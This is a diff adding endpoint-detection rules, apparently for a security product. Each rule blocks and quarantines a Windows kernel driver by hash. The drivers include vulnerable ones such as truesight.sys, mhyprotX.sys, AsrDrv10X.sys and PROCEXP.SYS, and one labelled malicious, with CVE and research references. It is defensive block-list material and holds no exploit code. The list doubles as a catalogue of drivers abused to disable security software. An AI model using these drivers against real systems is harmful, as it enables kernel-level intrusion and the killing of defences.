+  "type": "hash",
+  "value": "f5c412af37fe3f227d6d4288ae4999e14b81fd8a2e6c9705a9d4b025e4652153",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b13e09e5-ff7b-5f77-9484-80c14f927ae4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974987Z",
+  "creation_date": "2026-03-23T11:45:29.974989Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974995Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "03192bacd96989bad4181609295764f61a86d2ec9f7918a90a219e674ae3097f",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b1418c62-fdfb-5179-b107-4a6e52f30ef9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143968Z",
+  "creation_date": "2026-03-23T11:45:31.143970Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143976Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e3c2f47cd5f0ba9e70449ce7339e231be97b45a02ddcf8859018a84064faaeed",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b146bea5-8e10-56eb-bc6c-4950767b5879",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612092Z",
+  "creation_date": "2026-03-23T11:45:29.612094Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612099Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "000e984d3eebc54259a24a17745eed07d9c3658b86462cb5ebc26381302f7a38",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b14a166f-e52a-5f66-ae5b-255f335ba1d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488063Z",
+  "creation_date": "2026-03-23T11:45:31.488065Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488070Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c9e677f9f681130a8cfa94ec0ff17120ba647ac6d323912d4eed10223ef9f21f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b14b4e59-bd7f-51b4-9ec6-93d1f6e7b2b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157187Z",
+  "creation_date": "2026-03-23T11:45:31.157189Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157195Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "49ab087361a9c59829f14b1bc9a49fb0de55649cea0564f6a27c099b4ee7338a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b1585483-b5f7-5c9a-b761-140acbe61751",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614438Z",
+  "creation_date": "2026-03-23T11:45:29.614440Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614445Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2bbe65cbec3bb069e92233924f7ee1f95ffa16173fceb932c34f68d862781250",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b15875cd-ac0f-507c-b1a3-785c4a715445",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828329Z",
+  "creation_date": "2026-03-23T11:45:30.828331Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828336Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1528dc51550159f8e11866fa29b36383f49905bc84bcd0ff07260d35475d0d37",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b15b0f30-b42f-5c06-9aa6-2bc3abfd2f36",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613260Z",
+  "creation_date": "2026-03-23T11:45:29.613262Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613267Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f40435488389b4fb3b945ca21a8325a51e1b5f80f045ab019748d0ec66056a8b",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b1631c72-c97a-5a87-996c-709053138d1f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150704Z",
+  "creation_date": "2026-03-23T11:45:31.150706Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150711Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "962d1a1d3316212a0f66ce825c4737d41f59c2e0743be36c3e1308f0bb7939a0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b16f0a41-7402-5aa2-9fa3-c4989ea520b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146528Z",
+  "creation_date": "2026-03-23T11:45:32.146530Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146536Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab811ca59a8a8e92fff3eca9d359a8ed5482e781c97e63dbece046d929d0a79c",
+  "comment": "Malicious Kernel Driver (aka driver_ab811ca5.sys) [https://www.loldrivers.io/drivers/09d2e61d-e041-4ec8-ab7b-385848456a36/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b16f5f6f-b1ca-57f6-9eb8-3d6311488e34",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150824Z",
+  "creation_date": "2026-03-23T11:45:31.150826Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150831Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de4cd4aa2021854e1bca582ec7a51562ab458bfd12a4b2930f85fa53d1e09915",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b173616e-abe7-5e26-ac44-efc7194f46e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149120Z",
+  "creation_date": "2026-03-23T11:45:31.149123Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149132Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "916ef806f5e08f7e5c882bd4efca3503e5e8131bb32493f8d618959eab054c78",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b191a678-ede1-5633-95a9-6688e61e93a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605806Z",
+  "creation_date": "2026-03-23T11:45:29.605808Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605815Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd7c706caa4063ce243d2c4b7e5f32418d1ad3700692ce63618b3911981573d1",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b19c9ceb-6679-515b-a8b8-5ca43e46c102",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606795Z",
+  "creation_date": "2026-03-23T11:45:29.606797Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606803Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d28acafeb6a85294d2672fa894a2934599713aa9ce1b21184dc1ec34131af7bb",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b1a17760-5e85-57fe-82b5-6675cc5d7ed0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493821Z",
+  "creation_date": "2026-03-23T11:45:31.493825Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493834Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f2c74d551604daac486eb93d4513c650842e4d7f34801038ba146d76df7100a8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b1a3ce7e-9e2a-55c6-a75b-8a11998d69bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829593Z",
+  "creation_date": "2026-03-23T11:45:31.829595Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829600Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "729d3ba336cb62d60a7581db4e98c93f1204563f5a63fc53950f09081a44bb55",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b1ad2ae4-408d-5761-ada2-3058f26d6737",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823719Z",
+  "creation_date": "2026-03-23T11:45:30.823721Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823727Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de3c01dda0a23c1d12823848e9d79bc5b3fbc349e840dce7659d06bd898ada65",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b1b20f2a-8649-5dda-88ad-ab239298af43",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153989Z",
+  "creation_date": "2026-03-23T11:45:31.153991Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153996Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d3a8e0bd46ef4bf0787a0a4719908d7ac5cae5cafb313dc3b304be18e13b9369",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b1b7dc49-0701-51cd-9cce-2cff73228f8a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455220Z",
+  "creation_date": "2026-03-23T11:45:30.455223Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455231Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7f1772bdf7dd81cb00d30159d19d4eb9160b54d7609b36f781d08ca3afbd29a7",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b1c6d3f0-1e3b-52b8-a923-8876feea9882",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495456Z",
+  "creation_date": "2026-03-23T11:45:31.495458Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495463Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7d4fdd1092fd1a642f2c23b49e7c42c7c0a5c28849e28ecb58b0242fbf76e8b7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b1cfffdf-163d-5c8f-ac3c-8702d84413a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604224Z",
+  "creation_date": "2026-03-23T11:45:29.604226Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604232Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "55f736e288a101c08b7245ccafe158f5a2e6f0a581f49a87d24e5cbbde8961e1",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b1d5e065-6e1b-5e01-accb-967041eee440",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472693Z",
+  "creation_date": "2026-03-23T11:45:31.472697Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472704Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c880d0eacf7a11fb922b63b7f23e2ad484caba4dc566c2b050470a2880cc1929",
